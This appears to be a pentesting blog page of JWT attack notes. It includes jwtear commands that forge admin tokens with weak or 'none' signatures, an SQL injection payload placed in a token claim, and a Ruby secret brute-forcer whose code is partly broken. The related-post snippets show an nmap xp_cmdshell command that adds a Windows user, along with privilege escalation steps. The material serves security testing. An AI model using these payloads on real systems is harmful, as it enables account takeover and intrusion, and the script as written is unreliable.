Skip to main content

Attacking JSON Web Tokens - JWT Pentesting

 

sign an unsigned token, the process is as follows. 
unsignedToken = encodeBase64(header) + '.' + encodeBase64(payload)  signature_encoded = encodeBase64(HMAC-SHA256("secret", unsignedToken))  jwt_token = encodeBase64(header) + "." + encodeBase64(payload) + "." + signature_encoded
JWT is not vulnerable to CSRF (except when JWT is put in a cookie) 
Session theft through an XSS attack is possible when JWT is used 
Improper token storage (HTML5 storage/cookie) 
Sometimes the key is weak and can be brute-forced 
Faulty token expiration 
JWT can be used as Bearer token in a custom authorization header
JWT is being used for stateless applications. JWT usage results in no server-side storage and database-based session management. All info is put inside a signed JWT token. 
- Only relying on the secret key 
- Logging out or invalidating specific users is not possible due to the above stateless approach. The same signing key is used for everyone.
#HMAC SHA256 signed token creation using JWTear
jwtear --generate-token --header '{"typ" : "JWT", "alg" : "HS256"}' --payload '{"login" : "admin"}' --key 'cr@zyp@ss' 

#Empty signature token creating example 
jwtear --generate-token --header '{"typ" : "JWT", "alg" : "none"}" --payload '{"login" : "admin"}'

#Testing for injection example, $ is used to escape single quotes
jwtear --generate-token --header '{"typ" : "JWT", "alg" : "none"} --payload $'{"login" : "admin\' or \'a\'=\'a"}'
#Brute Force Secret Used to sign a token

require 'base64' 
require 'openssl'

jwt "jwt_goes_here" 
header, data, signature= jwt.split(".") 

def sign (data, secret) 
Base64.urlsafe_encode64(OpenSSL::HMAC.digest(OpenSSL::Digest.new("sha256"), secret, data)).gsub ("=","") 
end 
File.readlines("possible_secrets.txt").each do line| 
	line.chomp! 
	if sign (header+". "+data, line) == signature 
	puts line 
	exit 	
   end 
end



Comments

Popular posts from this blog

SQL DB & SQL Injection Pentest Cheat Sheet

1) MSSQL Injection Cheat Sheet | pentestmonkey 2) xp_cmdshell | Red Team tales 3) PentesterMonkey SQL Injection Cheatsheet Use dbeaver for GUI Access 4) SQL Injection Explanation | Graceful Security Common Ports Microsoft SQL: 1433/TCP (default listener) 1434/UDP (browser service) 4022/TCP (service broker) 5022/TCP (AlwaysOn High Availability default) 135/TCP (Transaction SQL Debugger) 2383/TCP (Analysis Services) 2382/TCP (SQL Server Browser Service) 500,4500/UDP (IPSec) 137-138/UDP (NetBios / CIFS) 139/TCP (NetBios CIFS) 445/TCP (CIFS) Oracle SQL: 1521/TCP 1630/TCP 3938/HTTP MongoDB : 27017,27018,27019/TCP PostgreSQL: 8432/TCP MySQL: 3306/TCP SQL DB Enum with nmap: nmap -p 1433 —script ms-sql-info —script-args mssql.instance-port=1433 IP_ADDRESS nmap -Pn -n -sS —script=ms-sql-xp-cmdshell.nse IP_ADDRESS -p1433 —script-args mssql.username=sa,mssql.password=password,ms-sql-xp-cmdshell.cmd="net user bhanu bhanu123 /add" nmap -Pn -n -sS —script=ms-sql-xp-cmds...

Windows Priv Escallation

1.     Windows Privilege Escalation Commands  _ new 2.     Transferring Files to Windows 3.    Priv Esc Commands 4.    Priv Esc Guide  5.    Payload All the Things --> great Coverage 6.    WinRM -- Windows Priv Esc    7. Newb Guide - Windows Pentest    8. Kerberos Attacks Explained     9. How to Attack Kerberos 101    Use PowerSploit/PrivEsc/Powerup.ps1 to find some potential info check for Non-windows processes in windows using netstat Step 1: Check net user and admin and user rights Step 2: Check if we have access of powershell if yes then run powerup.ps1,sherlock.ps1 and JAWS.ps1. Step 3: Try to get Meterpreter. Step 4: Load mimikatz ,try bypass UAC , check SAM SYSTEM etc. Step 5: check for weird programs and registry. Step 6: If the box is Domain Controller - Enum - Enum SMB Users/Ldap Users/ Blood Hound - GUI AD En...

Forensics & Crypto

Online Decoder --> https://2cyr.com/decode/ Encoding errors -->  https://ftfy.now.sh/ File Signatures List -->  Click here PCAP Analysis: -->  https://www.packettotal.com/ Online Cipher Decryptors: CyberChef  - Cipher Decoder   Crack Station-Hash Cracke r Decrypt Any Kind of Hash 1)  Cipher Statistics 2)  Index of Coincidence Calculator - Online IC Cryptanalysis Tool 3)  Tools List (Awesome and Fantastic Tools) Available on dCode 4)  Solve an Aristocrat or Patristocrat 5)  RSA attack tool (mainly for ctf) - retreive private key from weak public key and/or uncipher data 5-1)  RSA - Find PQ using N 6)  BertNase's Own Hide content in a Image made of blocks - npiet fun! 7)  Vigenere Solver - www.guballa.de 8)  Fernet (Decode) 9)  Unicode Text Steganography Encoders/Decoders 10)  All in ONE encoders and Decoders Tool 11) Cryptii - Decoder Image Forensics: 1)  Forensical...